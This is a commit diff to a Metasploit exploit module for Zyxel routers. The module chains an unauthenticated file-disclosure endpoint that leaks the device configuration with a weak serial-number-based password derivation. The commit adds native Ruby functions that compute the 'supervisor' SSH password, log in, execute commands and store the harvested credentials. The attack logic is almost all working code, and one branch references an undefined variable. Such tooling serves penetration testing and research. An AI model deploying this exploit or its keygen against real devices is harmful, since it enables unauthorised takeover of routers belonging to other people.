added pwd derivation and report credential function including updates based on review comments

This commit is contained in:
h00die-gr3y
2023-04-18 19:17:00 +00:00
parent e0926890ab
commit de9cd59ea5
@@ -4,6 +4,7 @@
##
require 'socket'
require 'digest/md5'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
@@ -19,16 +20,16 @@ class MetasploitModule < Msf::Exploit::Remote
super(
update_info(
info,
'Name' => 'Zyxel chained RCE using LFI and weak AES encryption',
'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',
'Description' => %q{
This module exploits multiple vulnerabilities in the zhttpd binary (/bin/zhttpd)
and zcmd binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
The remote code execution vulnerability can be exploited by chaining the local file disclosure
vulnerability in the zhttp binary that allows an unauthenticated attacker to read the entire configuration
vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
With this information disclosure, the attacker can determine if the router is reachable via ssh
and uses the second vulnerability in the` zcmd` binary to derive the `supervisor` password exploiting
a weak implementation of AES symmetric encrypting with static keys using the device serial number.
and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
a weak implementation of a password derivation algorithm using the device serial number.
After exploitation, an attacker will be able to execute any command as user `supervisor`.
},
@@ -101,6 +102,11 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
)
register_options(
[
OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
@@ -109,6 +115,187 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
# supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers
# based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm
# https://github.com/boginw/zyxel-vmg8825-keygen
def double_hash(input, size = 8)
# ROUND 1
# take the MD5 hash from the serial number SXXXXXXXXXXXX
# this returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round1 and continue with next two char bytes from the hash.
md5_str_array = Digest::MD5.hexdigest(input).split(//)
round1_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round1_str_array[j] = md5_str_array[j + 1]
else
round1_str_array[j] = md5_str_array[j]
end
round1_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
round1 = round1_str_array.join
# ROUND 2
# take the MD5 hash from the result of round1
# returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round2 and continue with next two char bytes.
md5_str_array = Digest::MD5.hexdigest(round1).split(//)
round2_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round2_str_array[j] = md5_str_array[j + 1]
else
round2_str_array[j] = md5_str_array[j]
end
round2_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
# ROUND 3
# take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3
# to create the final password hash with defined number (size) of alphanumeric characters and return the final result
round3_str_array = Array.new(size)
for i in 0..(size - 1) do
round3_str_array[i] = round2_str_array[i * 3]
end
round3 = round3_str_array.join
return round3
end
def mod3_key_generator(seed)
# key generator function used in the SerialNumMethod3 pasword derivation function
round4_array = Array.new(16, 0)
found0s = 0
found1s = 0
found2s = 0
while (found0s == 0) || (found1s == 0) || (found2s == 0)
found0s = 0
found1s = 0
found2s = 0
power_of_2 = 1
seed += 1
for i in 0..9 do
round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor
if (round4_array[i] == 1)
found1s += 1
elsif (round4_array[i]) == 2
found2s += 1
else
found0s += 1
end
power_of_2 = power_of_2 << 1
end
end
return seed, round4_array
end
def serial_num_method2(serial_number)
# SerialNumMethod2 password derivation function
pwd = double_hash(serial_number)
return pwd
end
def serial_num_method3(serial_number)
# SerialNumMethod3 password derivation function
# constant definitions
keystr1_byte_array = 'IO'.bytes.to_a
keystr2_byte_array = 'lo'.bytes.to_a
keystr3_byte_array = '10'.bytes.to_a
valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a
offset1 = 0x8
offset2 = 0x20
round3 = double_hash(serial_number, 10)
round3.upcase!
round3_byte_array = round3.bytes.to_a
md5_str = Digest::MD5.hexdigest(serial_number)
md5_str_array = md5_str.split(//)
offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]
result = mod3_key_generator(offset.to_i(16))
offset = result[0]
round4 = result[1]
for i in 0..9 do
if round4[i] == 1
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr1_byte_array[j])
index = offset1 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_byte_array[index]
break
end
elsif round4[i] == 2
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr2_byte_array[j])
index = offset2 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_bytes_array[index]
break
end
else
new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr3_byte_array[j])
var = ((offset + j) >> 0x1f) >> 0x1d
index = ((offset + j + var) & 7) - var
round3_byte_array[i] = valstr_byte_array[index]
break
end
end
end
pwd = round3_byte_array.pack('C*')
return pwd
end
def crack_supervisor_pwd(serial)
# crack supervisor password using the device serial number
# there are two confirmed hashing functions that can derive the supervisor password from the serial number:
# SerialNumMethod2 and SerialNumMethod3
# both passwords candidates will be returned as hashes
hash_pwd = { 'method2' => nil, 'method3' => nil }
# SerialNumMethod2
hash_pwd['method2'] = serial_num_method2(serial)
# SerialNumMethod3
hash_pwd['method3'] = serial_num_method3(serial)
print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}")
print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}")
return hash_pwd
end
def report_creds(user, pwd)
credential_data = {
module_fullname: fullname,
username: user,
private_data: pwd,
private_type: :password,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
cred_res = create_credential_and_login(credential_data)
unless cred_res.nil?
print_status("Credentials for user:#{user} are added to the database...")
end
end
def get_configuration
# Get the device configuration by exploiting the LFI vulnerability
return send_request_cgi({
@@ -138,55 +325,23 @@ class MetasploitModule < Msf::Exploit::Remote
hash_config['software'] = res_json['DeviceInfo']['SoftwareVersion'] if !res_json.dig('DeviceInfo', 'SoftwareVersion').nil?
hash_config['serial'] = res_json['DeviceInfo']['SerialNumber'] if !res_json.dig('DeviceInfo', 'SerialNumber').nil?
if !res_json.dig('X_ZYXEL_LoginCfg', 'LogGp').nil?
res_json['X_ZYXEL_LoginCfg']['LogGp'].map do |login|
if !login['Account'].nil? && hash_config['ssh_user'] != 'supervisor'
login['Account'].map do |account|
if account['Username'] == 'supervisor'
hash_config['ssh_user'] = account['Username']
break
end
end
else
break
end
end
login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')
unless login_cfg.nil?
hash_config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'
end
if !res_json.dig('X_ZYXEL_RemoteManagement', 'Service').nil?
res_json['X_ZYXEL_RemoteManagement']['Service'].map do |service|
next unless service['Name'] == 'SSH'
remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')
unless remote_service.nil?
service = remote_service.select { |s| s['Name'] == 'SSH' }.first
if !service.blank? && (service['Name'] == 'SSH')
hash_config['ssh_port'] = service['Port']
hash_config['ssh_wan_access'] = service['Mode']
hash_config['ssh_service_enabled'] = service['Enable']
break
end
end
return hash_config
end
def crack_supervisor_pwd(serial)
# crack supervisor password by exploiting a weak implementation of AES symmetric encrypting with static keys using the device serial number
# using system call for now. TODO: rewrite functions in native ruby
# there are two confirmed hashing functions that can derive the supervisor password from the serial number, called SerialNumMethod2 and SerialNumMethod3
# both passwords will be returned in a password hash
hash_pwd = { 'method2' => nil, 'method3' => nil }
# SerialNumMethod2
result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod2 #{serial}`
pwd = result.partition(':')
hash_pwd['method2'] = pwd.last.strip
# SerialNumMethod3
result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod3 #{serial}`
pwd = result.partition(':')
hash_pwd['method3'] = pwd.last.strip
print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}")
print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}")
return hash_pwd
end
def execute_command(cmd, _opts = {})
print_status("Executing #{cmd}")
begin
@@ -249,13 +404,16 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown('Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.')
end
# check if ssh_port is open, ssh service is enabled and accessible from the WAN side
if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port'])
return CheckCode::Vulnerable
elsif !config['ssh_service_enabled']
return CheckCode::Safe('SSH service is NOT available.')
# check if ssh service is enabled
# if true then check ssh_port is open and ssh service is accessible from the WAN side
if config['ssh_service_enabled']
if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port'])
return CheckCode::Vulnerable
else
return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
end
else
return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
return CheckCode::Safe('SSH service is NOT available.')
end
end
@@ -272,17 +430,29 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, 'Device serial, supervisor user, SSH port or SSH WAN access/service status not found.')
end
if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port'])
print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.")
elsif !config['ssh_service_enabled']
fail_with(Failure::NotVulnerable, 'SSH service is NOT available.')
# check if ssh service is enabled
# if true then check ssh_port is open and ssh service is accessible from the WAN side
if config['ssh_service_enabled']
if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port'])
print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.")
else
fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
end
else
fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
fail_with(Failure::NotVulnerable, 'SSH service is NOT available.')
end
# derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3
supervisor_pwd = crack_supervisor_pwd(config['serial'])
# try supervisor password generated by SerialNumMethod3 first, if it fails then try the password generated by SerialNumMethod2
if !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port']) && !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port'])
# try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2
if do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port'])
print_status('Authentication with derived supervisor password using Method3 is successful.')
report_creds(config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']
elsif do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port'])
print_status('Authentication with derived supervisor password using Method2 is successful.')
report_creds(config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']
else
fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')
end